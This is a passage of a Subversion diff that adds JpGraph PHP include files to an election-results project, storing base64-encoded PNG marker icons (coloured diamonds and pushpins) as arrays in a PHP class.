+	    'iVBORw0KGgoAAAANSUhEUgAAABsAAAAbBAMAAAB/+ulmAAAAEl'.
+	    'BMVEX///+AgIBmMwCZZgD/zADMmQD/QLMZAAAAAXRSTlMAQObY'.
+	    'ZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAA'.
+	    'AHdElNRQfTAwsWEwcv/zIDAAAAbUlEQVR4nFXJwQ3AMAhDUdRm'.
+	    'kKojuCswABf2X6UEEiC+WF+PyDfoGEuvwXogq3Rk1Y6W0tBSG8'.
+	    '6Uwpla6CmJnpoYKRsjjb/Y63vo9kIkLcZCCsbGYGwMRqIzEp1R'.
+	    'OBmFk9HQGA2N0ZEIz5HX+h/jailYpfz4dAAAAABJRU5ErkJggg'.
+	    '==' ; 
+
+//==========================================================
+// File: diam_lightblue.png
+//==========================================================
+	$this->imgdata[4][0]= 671 ;
+	$this->imgdata[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABsAAAAbCAMAAAC6CgRnAAAA/1'.
+	    'BMVEX///+AgIAAnP8A//8Azv8AY/8Aa/8I//8Y1v8Izv8Y//8Q'.
+	    '//8InP8Qzv8Ypf85jP8he/8Yc/8Ia/8pe/8p//8p1v9Ctf8xrf'.
+	    '8prf8QnP8Qc/9CjP+1//97//9r//9S//9K//9C//85//8x//8h'.
+	    '//9r5/9K3v9S3v851v97zv9Svf85rf8hpf/G3v9SnP9anP9KlP'.
+	    '8xhP/n7//v7+f3///n///O//+U//9z//9j//9a//975/9C3v8h'.
+	    '1v+E5/+17/9j3v/O7//n9/+95/+l3v9jxv+U1v8Qpf9avf9Ktf'.
+	    '+Uxv+11v97tf9rrf+cxv+Mvf9jpf+tzv+Etf/O3v/39/8Akkxr'.
+	    'AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACx'.
+	    'IAAAsSAdLdfvwAAAAHdElNRQfTAwsWEiHk6Ya/AAABGUlEQVR4'.
+	    'nHXQ13KDMBAF0J2o0E01GHDvJa7p3em95/+/JQJMYjDc0Yt0Zr'.
+	    'VaAaxHgtxwbSGPkGQpOIeQ2ORxJiJmNWYZyAhZR0WcgQGhViU0'.
+	    'nEGoedDHGxgRapRPcRpXhOr7XZzCmLjaXk9IIjvkOEmSRLG62+'.
+	    'F5XlEElhA5sW21GvXj6mGlDBfnJ51lr9svnvEKwH1hu2QPbwd3'.
+	    'N9eXVzuL7/Hn29frdKaamgcgy67L3HFG9gDefV+dm5qme4YRXL'.
+	    'oVR374mRqUELZYosf84XAxISFRQuMh4rrH8YxGSP6HX6H97NNQ'.
+	    'KEAaR08qCeuSnx2a8zIPWqUowtKHSRK91rAw0elmVYQFVc8mhq'.
+	    '7p5RD7Ps3IIwA9sfsFxFUX6eZ4Zh4AAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: diam_purple.png
+//==========================================================
+	$this->imgdata[5][0]= 657 ;
+	$this->imgdata[5][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABsAAAAbCAMAAAC6CgRnAAAA/F'.
+	    'BMVEX///////8xAP/OAP+cAP9jAP9rAP+cCP85CP/OEP9SKf/O'.
+	    'CP9CEP9zGP9rCP+lGP/WOf/WIf9KIf9jOf+MQv+EMf97If9zEP'.
+	    '+1Sv+lIf/ne//eUv/na//n5//Oxv/Wzv+chP9zUv97Wv9rQv9a'.
+	    'Mf9KGP/v5/+te/97Kf+9Y/+tOf+tKf+lEP/vtf/WMf/WKf/v7+'.
+	    'f39/+tnP+9rf9rSv9jQv9CGP+ljP+EY//Gtf+tlP+Ma/9zSv/e'.
+	    'zv+UUv+9lP+cWv+lY/+cUv+MOf+EKf+UQv/Opf/OhP/Ga/+1Qv'.
+	    '/Oe/+9Uv/ntf/eWv/eSv/WGP/3zv/vlP/WEP//9/+pL4oHAAAA'.
+	    'AXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAA'.
+	    'sSAdLdfvwAAAAHdElNRQfTAwsWEjX+M1LCAAABDklEQVR4nHXQ'.
+	    '1bLDIBAGYFqIEW+ksbr7cXd3ff93OUCamdOE/Mxw882yywLwPz'.
+	    '+gNKotlRFUVnNUQlCxTMRFCKEdE+MgpJaEiIOU4DKaoSIygtb3'.
+	    'FBUQrm3xjPK4JvXjK0A5hFniYSBtIilQVYUm+X0KTVNiYah+2q'.
+	    'ulFb8nUbSovD2+TCavwXQWmnMA6ro+di+uR5cPzfPhVqPV3N1p'.
+	    'n3b3+rimAWAYhP3xnXd7P6oc9vadPsa1wYEs00dFQRAFehlX21'.
+	    '25Sg9NOgwF5jeNTjVL9om0TjDc1lmeCKZ17nFPzhPtSRt6J06R'.
+	    'WKUoeG3MoXRa/wjLHGLodwZcotPqjsYngnWslRBZH91hWTbpD2'.
+	    'EdF1ECWW1SAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: diam_gray.png
+//==========================================================
+	$this->imgdata[6][0]= 262 ;
+	$this->imgdata[6][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABsAAAAbBAMAAAB/+ulmAAAAEl'.
+	    'BMVEX//////wAzMzNmZmbMzMyZmZlq4Qo5AAAAAXRSTlMAQObY'.
+	    'ZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAA'.
+	    'AHdElNRQfTAwsWExZFTxLxAAAAbUlEQVR4nFXJwQ3AMAhDUdRm'.
+	    'kKojuCswABf2X6UEEiC+WF+PyDfoGEuvwXogq3Rk1Y6W0tBSG8'.
+	    '6Uwpla6CmJnpoYKRsjjb/Y63vo9kIkLcZCCsbGYGwMRqIzEp1R'.
+	    'OBmFk9HQGA2N0ZEIz5HX+h/jailYpfz4dAAAAABJRU5ErkJggg'.
+	    '==' ; 
+
+//==========================================================
+// File: diam_blgr.png
+//==========================================================
+	$this->imgdata[7][0]= 262 ;
+	$this->imgdata[7][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABsAAAAbBAMAAAB/+ulmAAAAEl'.
+	    'BMVEX///+AgIBmzP9m///M//+Z//8hMmBVAAAAAXRSTlMAQObY'.
+	    'ZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAA'.
+	    'AHdElNRQfTAwsWEwCxm6egAAAAbUlEQVR4nFXJwQ3AMAhDUdRm'.
+	    'kKojuCswABf2X6UEEiC+WF+PyDfoGEuvwXogq3Rk1Y6W0tBSG8'.
+	    '6Uwpla6CmJnpoYKRsjjb/Y63vo9kIkLcZCCsbGYGwMRqIzEp1R'.
+	    'OBmFk9HQGA2N0ZEIz5HX+h/jailYpfz4dAAAAABJRU5ErkJggg'.
+	    '==' ; 
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_pushpins.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_pushpins.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_pushpins.inc.php	(revision 44)
@@ -0,0 +1,517 @@
+<?php
+//=======================================================================
+// File:	IMGDATA_PUSHPINS.INC
+// Description:	Base64 encoded images for pushpins
+// Created: 	2003-03-20
+// Ver:		$Id: imgdata_pushpins.inc.php 860 2007-03-23 19:16:19Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+class ImgData_PushPins extends ImgData {
+    protected $name = 'Push pins';
+    protected $an = array(MARK_IMG_PUSHPIN => 'imgdata_small',
+		    MARK_IMG_SPUSHPIN => 'imgdata_small',
+		    MARK_IMG_LPUSHPIN => 'imgdata_large');
+
+    protected $colors = array('blue','green','orange','pink','red');
+    protected $index  = array('red' => 0, 'orange' => 1, 'pink' => 2, 'blue' => 3, 'green' => 4 ) ;
+    protected $maxidx = 4 ;
+    protected $imgdata_large, $imgdata_small ;
+
+    function ImgData_PushPins() {
+
+	// The anchor should be where the needle "hits" the paper
+	// (bottom left corner)
+	$this->anchor_x = 0;
+	$this->anchor_y = 1;
+
+//==========================================================
+// File: ppl_red.png
+//==========================================================
+	$this->imgdata_large[0][0]= 2490 ;
+	$this->imgdata_large[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsRAAALEQF/ZF+RAAAA'.
+	    'B3RJTUUH0wMKBh4Ryh89CgAACUdJREFUeJy9mNtTFFcexz+/7p'.
+	    '4Lw1wZJKDGCAwmDAqUySamcCq1ed6k9mn3UfMP7F+1T3nYqn2J'.
+	    'lZdoDEjpbq0KG8EBFBFBEJye6Zmenkv32Ydu5GYiUMmeqq6uqT'.
+	    '6Xz3zP73aOcIKmAQkIFyD3N/jrBPwlKjLQEglVlJKyUjR3u7cc'.
+	    'WLoP3/4dvv03LNrQ8I6x1rFbDML9kOmHvh7IRHU9JKmUSG8vpF'.
+	    'IoXX/TV0AiEM5A5jT0noFMFMJHXUt/d5f9TUAbhtQ3cPFruDog'.
+	    '8klHMnmO0dGYe/myOJGINEwTz3F2higFXgy8PpAkOC+h8hoaCt'.
+	    '4ppHFcQAWSgOQlyI/p+lUjmRxWAwNJd3xca/f34yoFi4tgmjtD'.
+	    'NIFkJ4xcgBCgVqEBFJ9DqcZea/gNAAVEg7AOGYnHe9XoaJd3+X'.
+	    'LISSSwnz6lsbKCZ9sHh4UVdBkwdA6cPwNnIfJPmC3Ctgft3wwQ'.
+	    'QPkvTZJJnbExzfvsM2nMzVG7e5fG48d4lnXwTwEYCjJxuHQBog'.
+	    'BHUfKkgAIIhiGk06hTp/Dm5qS1uYlXLvtWd4gPgIiCrAEcVckT'.
+	    'Ab5p7TaYJrK1hQaEenrwSiVfQdc91P0kSp7Ii89D5ksY/kAkLy'.
+	    'IZXFdXkQjS1YUSEbdcRu168V6+HTUNIKJDRwdE+sBIQmP9Ld59'.
+	    'bEBA3of4F/D+uXb7rGaaCSmXI3pPj64PDaHCYfEqFVSjgWo2D2'.
+	    '73XlJNQTgCyQykIuBWoNKEeh1aLXBPBCggGdBOgxZVSjoajVhH'.
+	    'o5HWlIpq4bCQSgm9vXhK4ZZKh5SUYygp4J1EQVUD9xlU18BJQD'.
+	    'bUbJ5T5XJStyxN9fSI099P3baxV1dRloW2h2ivx/yakg2ot6F1'.
+	    'EkCa4G1D+zVEq5ArKTWM42Q6HUczQV7U66w9e0ZpdRXlOIQ5vF'.
+	    'VHUXILKify4jiEzkOqC3peQMoBQymFlMt4Dx6wUSxSsm2UZXEK'.
+	    'P30QvOUt8/2Sd78CdWwFDTA+gsw3cOlPcPUD+CQB52oQ21RKXM'.
+	    'eRhGXhOg7VoKrx8KuS4ygZhVg3ZI8FGIfwR9BVgAtfwxdXdP3L'.
+	    '86nUR91dXelNXTeWWy10paQHX602YAP1ADASAL7LJvFtMpOCc0'.
+	    'cG3FHuGlz6Gr4YEpnoTCbzsdHRbOzy5RCRiLRMk5rjyOtAimwA'.
+	    'U4U3SurBN/0wnAASBCVDIKpB4kiAB5Ub0/UvO9LpPAMDGfn005'.
+	    'AxPCzxep3Q6iqPLUseBoufCZRsAE6g5g5kKIDfKUj3wnpAG8QB'.
+	    '/Z1OIqANQuI65AtwNScyYXR2XlAXL2YZHzcklRKWl5GVFXFtGx'.
+	    'MoAiV/EQaAGH6BUQNWgQpwFngv+Ca8KUAQEBcwgTJHyMV7679R'.
+	    'XS8YqdSI6u/PMD5ukMtJY3GR2uQkr5aXeWVZOEALmA8WsIAxfL'.
+	    'd0goVLAdCOd+/YpgqeVtBv4yiA++q/RKKXixe7GB8PSyoljcVF'.
+	    'yg8fyubyMpulEk2lyAIfAAvAC+B+oOQFoAt/+0rAejB/EzjNri'.
+	    'vvqNnCd64jxcE39V8spnP+vMbAgDSePKE2NcXm06dslMuUlcID'.
+	    'TuFvqwXMBU8N39bGgRR+ki0Dz4L5DSAe9NGD7zq+6kcN1L6H2b'.
+	    'ao5WWaQHllRTafPmWrVMJUimoAQrBYJFjQwre7B6A8YAi8LCgD'.
+	    '5DVo6/hbb/iHK1KggvFeD3hHziQKEMuiNTNDbXGRTdtmw7Iwla'.
+	    'KGH0oqwbscLOoG46rAY6AOzRhY74PT6QuUKEN4PegXxd/yEDTT'.
+	    'YMWOk+oEaLkuFdNk0zTZwjfkavDUArXWgGXgFb4dEShXhfYqlI'.
+	    'ow3w9rg3B6ED60IOOA5oEYQBrcpG+mj9bg0VG8GMJhVDZLyzAo'.
+	    'VSq8rFYxXXefcjVgG9+uisDrXUCApoKSBcUHMBmHhfcgNwhtD3'.
+	    'q9IG6Lr15b4OUTmPwBJt8JqGuapp05o0mhoHnptLQfPsR+8IBK'.
+	    'uYyNH3yr+B77LHheA3tK1Ta+IrMeTL2C6Xl48TOsNWDDgAz7s5'.
+	    '/r+krP/eddCsbj8fDQ4GBm9MqVvvRXX2VULBayRGRzaYn1SoWa'.
+	    'UjgB4PIB5QK4ZgBXBKaAHxQsrED1H7CRgCUPwgHZDqACmhWwXv'.
+	    '2aDRqGYeRyufS169cvThQKV88PDuYbW1vJ5VRK+5euqxWlPMdX'.
+	    'SRqgreHbZGN3ijfKBXBTAeh2Fdwi2MofshP/dvKwCmKhp4m83Y'.
+	    'vj8Xg4l8tlCoXC0MTExMTFkZE/1m37wvLGRvKRacoD1209E7Fc'.
+	    'pZwYREOQqEJ4z3HskHLsz4AoXykPIBSN0t3dTTQafROoHdumXC'.
+	    '4fjoMiog0ODiauX7+eLxQKV3O53ETdti88nJnJ3rl505ifmWm3'.
+	    'arWSodR8GNbycDoNHy5C5jFold1k8d+DyvELNwg93d18/vnn9P'.
+	    'X1oes6nufx/Plz7t+/fxhQKSWJRCI5NjaWHxkZKdj1+sjSwkJm'.
+	    '+uZN/dZ337VqCwullGUVdZjsgIUC5LqhrUPvCugWuApeApPAzY'.
+	    'PKHWyaphGNRunt7WVwcBARwfM8Ojo6sCzrMKBhGLphGFEF2Wq1'.
+	    '2jc7M5OZ/vHH0MPbt93awkJJmeZsC6ZaMK3DCwvWdNioQUb5B6'.
+	    'AdBR+9SzkAz/NwHIeXL18iIui6TjgcJplMMjY2th8wHo+Hh4aG'.
+	    'MsPDw6fddru7+Phxx51bt/RbN260qwsLpZhlFZsw9QJ+2Pbrga'.
+	    'oJG2FY2oKwuTtVEz9uV34NbqdtbW0xPT1NNBoF4MyZM1y5coWu'.
+	    'rq5dQBHRcrlc4tq1a/l8Pj9RMs38ndu3Ez//9JNXLRZNyuXZJk'.
+	    'xVYKoExQpsK/+IaAuYb7no8zjC/R+A4zisrq7u+53NZjl16tQ+'.
+	    'QIlEIslsNpuPRCJXZ2dnh2/duNFRW1oy07a96MKd575yxRqU1B'.
+	    '5vPMpF5HHa1tYW9+7do7Ozc/eQpZTSQ6FQt1Lq8pMnT/5w7969'.
+	    'nuLcXE1rNufO9fRMhlKpOyvt9qPtVmvb25fFfvvWbrepVCqHwo'.
+	    'xaX19vff/996ZhGC8qlkW9Wt1Onz073fXxxz+6MB+9e9dUjuO+'.
+	    '7ebq9wLdB9hoNCrr6+s/4wf3FCJW3fPmTZhXsNWCprjuW66Dfr'.
+	    '928KAfBhJAEgiJSLuzs7OSTqctoFkqlZRt26j/I+L/AGjPTN4d'.
+	    'Nqn4AAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+// File: ppl_orange.png
+//==========================================================
+	$this->imgdata_large[1][0]= 2753 ;
+	$this->imgdata_large[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsRAAALEQF/ZF+RAAAA'.
+	    'B3RJTUUH0wMLFQ0VCkHCzQAACk5JREFUeJytmGtzG0d2hp8zNw'.
+	    'AEcRdJ6EJK9FL0CqZUm9jWbkwq3vhDstl8dmLvz8rP2H8Q75ZT'.
+	    'pkRfpLgqsS6WIFEKGYkiSBCDO+banQ8DUpRWEkklXQUUqlCDfv'.
+	    'rp857pgfAOQ4AMOJdg4R/hX96Hf06bvDc5iT07i8yeg8ksiIAI'.
+	    '4TBi/ds9/vivD/njapNHvRBfHXMu410AM+BUoVSF05NQsi1sO4'.
+	    '8402AXwLQTuP31OAZO2aG0MEn14iSlnI1z3LnMk8IZYJyBwjIs'.
+	    '/TWsVIWPJkvMFS4zMfMhUp5BsoCpAAEBLYKaMFGn00jBxnvu02'.
+	    '35+JHmSJEnBpQEcPo38MmCxd/nS9Ry71Ga/g1W9a8gn0GsHkgA'.
+	    '6DGjxkqb5CoO+YxF3A3p+jGjQUzoK+L/V0ADzFMwtSR8eLbAr8'.
+	    'uXOTf9NzhTc0geSLUQcYHgYEH786RMg0zWJHV2Aitv4x/HpHVS'.
+	    'QA2YBqTTGIUq5qkPMWaWkVwPnPtAA/BevmZcjxaaUtHh8pJJGu'.
+	    'DpCB9FvT7A7YT7S3p5vFMNzmWo/O0MSx/Ms3TqI8r59zFTfUQe'.
+	    'I7SBODE3tnfoIxYnNHligwik0zAzDdVpyKbA8sff5YAeMEwgkV'.
+	    'cufQeTJzZoCsaFLKXPTnNpoUTNsSgJmNoGsuNQjIDwYD2HlnZy'.
+	    'k++yxTKXZfKTU8zOpjhneeQYkorSmGERtIlICBKRbLX+y98YN3'.
+	    'ADcNIm+bJD4U3pPnmbEaRgYVRTGBkDSSsmxKfY7ZLuDJA4hdjl'.
+	    'JEgyBB2SJOvQ9RzTpNKoEwNq0CNFvOXR3/HxMgYVPObaz8kPmh'.
+	    'hkEWMatAfRONGGvLizyOE9P8KkpwhPDAgQKJQbELUD0oOIhbbH'.
+	    'JeVTmowxjAgZutB5AoOngA+2DdYrcTyOyYZP9+QpBvI29vwEhb'.
+	    'It042BVQgDy9KTMfkwQG1A9ACCLlgBBGUwxxoc52WDh2ATyEPp'.
+	    '1hoaPvrEBh0Dq5an9OUsl/9hylk5b5c+mowLc4E2Jtw4Eoljyf'.
+	    'ogA/AGEAagNRjGyUxOmEycyVA5EWDBxrmUp3ytLIv/NJP69Goh'.
+	    '+9mFydIvS5PZYkvH1oY/RFtKymlwBFQAgQd+kAA6qSQ8pvn2mp'.
+	    'SkJkuVFHPHBnQMrEt5Sl+e4/Lvp51PF1PF5Xy6WMvOWZXMom8z'.
+	    'OZTQ8+j5sbQiMEwopsCIwRtBGIJSCdzbTGo9NimkDcgdC7Bg49'.
+	    'TG5n4/nfr0Si77WdYp1YzyZEkWPdteaEnB7pPqBTxuIf/VgciE'.
+	    'SgasCPwh+GNIkaNNag1RiPge5pEhMQVjfoLcF+eoXSvbKxedwn'.
+	    'LKzC3KWbOi5/sW5a44/SHFUSgVA7SCzRG0AvA9mPOgFIETgu4n'.
+	    'Ww0wNQWFAqRSL6D2ZQYBdDrQ7R7jXiwgRcvIL02makuTmWtpM/'.
+	    '+BlLMl5vuWzLVEuwH6oYnR1KS8kJINGXMM2YdfRlALoQoQQKeb'.
+	    'bDVwoMdxQMaLCwLo96HZTF5HbrEhmOftianfZisfzueKv7ZmrX'.
+	    'MsjhxKXZGBjzyeEHmSE3oWiggtyVGmE8DTIXTC5NxgAxOAGUM8'.
+	    'fun9mnSSLQ/CxNzOTgJ3LIMgoGwkKBiiMyaVviHVkdCO4FEKNv'.
+	    'LQzWBYHfITPa4UBVM0LR/WB7ARJsdDDTjA6deYFIFUOimJ3d0E'.
+	    'sNdLavYYgBpthqKcjiiJRO8K6CK0CsJTjfQAGaJtD9vQFAxNNQ'.
+	    '1FB0yBAfA8gdMAIagLoCVAen0M00zMOTYShNDtoHs9CAIUoI4E'.
+	    '1IBihCdNhsMhsj6NuV7BCC2IBpBqQaaFOENCCeiEsO1BO4RQgy'.
+	    'I5Hm4k4oIU9MrgZSAdBeTabZz+ODxKQRRBFBJo6IUc51anYRQo'.
+	    'dto+24FNxYCiaWKkQsj00KkO4gxRRkAngJ868M0u3OkkM+hxQA'.
+	    'cQ7YD7GO5XYSsPZybh/TCkFIYY+kWniTW4Q7jXgHvHMhiRpmuW'.
+	    'ca08GZkkZ/nY6TZMNhCnf2CuPoDVJvxpB+q9BHA8Ag1uH+oP4c'.
+	    'YEPCzDwmzSLquShHW/E0YRbG/BjZtw40hAy7aNzJlzRn75E6N0'.
+	    'qiwTzafI7kOU3gWrhzZC2iHcbsPqLlxvJnCt4KC1RYAL3I5hzY'.
+	    'Xv/huePYCtITQMKEnyB4KQvMURuJvw889HGSwUCs7CwkLpo6tX'.
+	    'Ty/+7nel6VLGDn/8N9m+eZuo1UP8iNhLau6b3RfmOsHBGTUYw9'.
+	    'WBNeDrGB4+h/4qNLKwTnLbHj9CJw/6GoIh9Jpvq0HHcayFhYXi'.
+	    'l3/4w9LK8vLKexfma3G/mb/3n1njTivS7tNQaaU1grQDjJ868D'.
+	    'Axx6vmxnBrY9C9IcSbSXbavNjb/S3eN6/0m1JcKBScixcvllZW'.
+	    'Vi6uLC8v12q1v/M8b/HxVjP//YYr32yE4dYWvShO0ogi14xwxq'.
+	    'F4rbnxZ3cMjtpvEEeMvwA0TdOYn5/PffHFF7Vr166tvPeLXyx7'.
+	    'nrd4+/btyg/frFo//Xgncnd67qCn78earQqcmYD3fSi1wPCTSV'.
+	    '3gzqvm9uFOMl5nUAqFQn5paal26dKla57vf7D+6FHph9VV88af'.
+	    'vgq79bo70e3VT2l9A3hYg4UiRALVHTCHSZvYBm4A//6quf8zoG'.
+	    '3bpuM4acMwKr1+//SDe/dK31+/bv90/Xrcq9fduNW6rbVeC+E7'.
+	    'gWdD2DKg4UEpBmPcm10RuScida31ntb62HAigoigDw6Gh0axWH'.
+	    'QWFhZKi4uLZ+I4PrVer2e+u37dXPvqq6hbr7tOp1NXWq89h6/b'.
+	    '8FBB34WGBesdcPrj38lkMkGlUuml0+mu53nR3t4eo9HoSLhMJk'.
+	    'OlUiGdTuN5Hq7rvgA0TdO4cOFC7vPPP6/VarXldqdTu7m2lrv7'.
+	    '7beq++BBO263b/tKrfWSXlbvwJ6CuAtDgTYiaBFMw6BSqfDxxx'.
+	    '+rarWqGo0GN2/eZGtrC6XenAkRoVKpcPXqVWZmZmg0Gty6desF'.
+	    'oIhIOp3Ol8vlmmVZK3fv3Lm09uc/Zwbr653ccPgoNIzvnmn99Z'.
+	    '7W9QG46lAaM5mM2l95GIYUi0VOnz7N7OwsWmsymQzyuse5Q8Mw'.
+	    'DNLpNDMzM5w/f/7A6AGgUkoajYa9urpayOXzUz/fvZutr68Pim'.
+	    'F4/2y1+n2o9Q/ru7uPesPhXnyo4A+vfHp6mmazybNnz9jZ2UFr'.
+	    'TbPZJAhe+8/aS0Mphed5NBoNABqNBqPR6MWBVWstvu/nnj9/Pv'.
+	    'vo0aPq5uZmPBgM/qcwPf39xV/9ajU1M3Nvq9PZaw8GoT50PjdN'.
+	    'k6mpKa5cucL58+eJ45j19XWePHnCzs4OnudhmiaWZRGGIVH05r'.
+	    'yEYYjrumxubrKxsfFyDQJ6NBp1Pc+7C4jWumBaVm+kVL2l1H2l'.
+	    '1G6otS+H6V6z8u3tbVzXpdFooJRicXGRqakptre3uXXr1ltrcT'.
+	    'Qa8ezZszemWAE9rfUdYBOwtVLRbrPZ+48ff+wDvuu6Sr3MB4Dr'.
+	    'uty6desgfa1WC3iRyrNnz4pSSmezWUzTfGtYtNYcdvC/9sMlgP'.
+	    'n5N4cAAAAASUVORK5CYII=' ; 
+
+//==========================================================
+// File: ppl_pink.png
+//==========================================================
+	$this->imgdata_large[2][0]= 2779 ;
+	$this->imgdata_large[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsRAAALEQF/ZF+RAAAA'.
+	    'B3RJTUUH0wMLFQolY9lkpgAACmhJREFUeJy9mOtzFNl5h5+3b9'.
+	    'Mz0kzPBWmEVtIiWYhIiC0HCDhB8lb8ISk7nzdZ5+/zJ/8BTmpT'.
+	    '660CZLwG1pVFgBkgGIHECEaa+/T9nHzQCCQuRpCNz6mp6g893U'.
+	    '8/c37ve3qEjxiC4OA4n/Lp/EUu/tsMM/+aEWduVBx7WhdkShcY'.
+	    'xUH2zo0Dwod/5N6vf8V//PoGdx8M8EOFPtK9jI8BdHCcMuVSmf'.
+	    'LxHLmSZdm2U8xIbmKETDGDZZnIy4dBbCynyGhphurEDBOlHFnn'.
+	    'qPcyPxTOwDCOccw7w5nlBRZWylI+ny/mZ6rL1dzUZ5/IWGZU3D'.
+	    'ZIOMQDDaJcHDVGWUbJBi9odVr0QoVSPzigIEaZ8vgSS/8wZU3/'.
+	    'k1fylipz5dLM2WlrZqHKaGCKbEbontq3KAKWQyZfZKTgYqc9Bp'.
+	    '2I2PcJ4ogk/UEBQcwipbFZmT13vDBx8fhnE1Ofnp9yJopFyT3X'.
+	    'yANfks0QHSQMDaL37pOxMLIu2UyVkjVKLjyKSeuD8dAYCFkso1'.
+	    'gYMaeWJ40T56cl8yAi/O4FSa2P6kYczIDsgVpAqcDImZPMuAB1'.
+	    'dkLQtcc8a/bwox8IUHAxZVxGZMouSLVYwKuMkD5IxN+JSdsRJB'.
+	    'pexuTVgYYM6EoGmxkmg3/hEhNUMr/hd7dqbOzExMn/GRDAxWZc'.
+	    'j3I8HiXfMjF2FQowKw7pjoN6E/Llw/GBJj8qxVOMlX4ipxc/lY'.
+	    'kl2zBLkmrTcEzMkoNoRLVidLi/9g+Z3I+1xRHX5EcAihxnbPRv'.
+	    'OTU9kZSmpKPy9FTGrLimPZ1H+UiyGaF67w6n7E1DwMngFDxGvc'.
+	    'w70v0xZUby5IxjlIyMssUJrJwVWkXBdbXvSvwEibcSdKCAFI16'.
+	    '4/sc0SRo9cGAGq1DwvQFzV6DVuBiV4zYnlEts6A2TSPcSiXoxo'.
+	    'QqJCEEFMbQ2b69o5qMiOOPqIMQkagu/aSL7waE8101WFShLjk9'.
+	    'yxgEvjRUiyYd+gwAjY2J9VpXfZ/JEXLhDp3OR6U4T97+hEnPwx'.
+	    'tv4HsRjy2tTQSFzQgDUnwSLBQRI+x1ZgcH87Vcv4SF19Kt0ezS'.
+	    '1h9s0Ma25pgr/YJfnLnEysok0+ezjM6EBLldGqKIJYuDRhOQEJ'.
+	    'Oih8X9Q0xmcXNjlCofBJgn78wxVz7L2YWf8tPPz1hnfjbjzfxN'.
+	    'qVwutq2etZXUQSXikcXGIgUiUkJSDIQMJgYGJsaB3c7b1qQ4GZ'.
+	    'xSkdGZIwMeNLfK6uezMnvJK3pLxeVixfvMsyVjSNSO6IV9adPG'.
+	    'AArkEEz8oUkFmBjYGO80qfd6pCWIayD59wIKcsjcKqufn7JO/S'.
+	    'xfyi+5c24pey5rZ09mJRNkiDdT/tzbkBr3SYkpMYpgEaIJSYhI'.
+	    'kSOY1GhilAQk5ntDIojxCZ/kf87Pl85xbuWEnLiUy+cW3NNuJX'.
+	    'MmY5meKf6mT7wZS+THdOjxlG06tIlIOMZxchSxcFFEGAwAGGME'.
+	    'jwyZYSnWL3cXWiIUbUI6hO/vxXuFOV84ycmlBWthNeflTjuzTi'.
+	    'lzJmM5s46Ej0J63/ZoPmoy6PYxtYVNhmfs0mbAND1mmKVMBY1L'.
+	    'mxA1LN7WgXQbCApNhKJHRIM+DQbv7yQGhjnJ5NgFuXBuxpu5mD'.
+	    'udm3LPuY7pmZLUE6L1SIJaIPFuDAqyw9lnwDYv6NFHkWJh4ZDB'.
+	    'wCBFD3uMxsTAwcBAiElpE/KcPg36dIiOvpsRxDCyhmlP2YY9ZU'.
+	    'v8NMb/1id+FGO0DTztkSXLOONUqeITsMkW2zwnJEIDFhYGx+A1'.
+	    'kwK4mASkvKDPc3p0iYhRRwYUhZLUTyV6Eu0t4s1Y4kcx6W6KaM'.
+	    'EZThcXH59RRhGEgIAddnBwNEBKqqpUtWBIF22YDIhJsbEkJqFN'.
+	    'qLtERHs7GnUkwISEQAf0uj30bY39PzbiC6qrDu2cExJ69Nhhhz'.
+	    '59UlIUipCQOnVi4sjG7ubJBy6um0C+he/0iDHQKIQERYyKFLqr'.
+	    'SI/W6kJCnvOcrWSLSquC1/Jw9Ks3R0FQKHr0uMc9bnCDGjX69A'.
+	    'H0XlcJkibN5jOe/alCZStHbjJL9lSMLkXExvCXRiDV6GZEeGeX'.
+	    '3TvvBVQoEjfBL/v0rT75Th7VU5C8gktI6NLlMY+5yU3WWGODDf'.
+	    'r098tHpNFNH7/2lKdXXdz7efLzVaqJIBOCmK8AJUlI6g0aV+9y'.
+	    '9+p7AR3bMQpTBWPy7yeN6fy0jNwewfpvC9Xe+3kFoUuXe9zj5n'.
+	    'BusEGHjh6GIAGawC2FWuvSvbbF1maFylZAsC1ISZADBiVNSJrP'.
+	    'eX73MY//skHP85z5+fnSxQsXj//4n39cmnPn7LbZlsajBmEnBL'.
+	    '1nuEGDG9x4aa5Ldz+h0RCuBqwBv1Wo+7vs9r7n++0MmYeAM+zB'.
+	    '+61EK1QUEnbbtN+9Bh3Hsebn54u//PdfLq9eWl2ZnZ1dSnaSwu'.
+	    'Pin40b9g3doKE0WoNIl65xj3v75njd3BBubQi6ExKmDWkMRKSl'.
+	    'tSbVKQcMao1Go5Ugb0+x53nOyZMnSysrKydXLq1cWlxa/McgCB'.
+	    'Yev3hU+GPrD3I5/q94k3pXYQY58q6B5Bs0HB//neaGx00gyWaz'.
+	    'VCoV7bquCoKAnZ0dfN/f03egLGj0m3XQNE1jdnY2/+WXXy6trq'.
+	    '6uzP3oR5eCIFi4detW5feXL1vr679Let37zVB3/mQytjXJwmSB'.
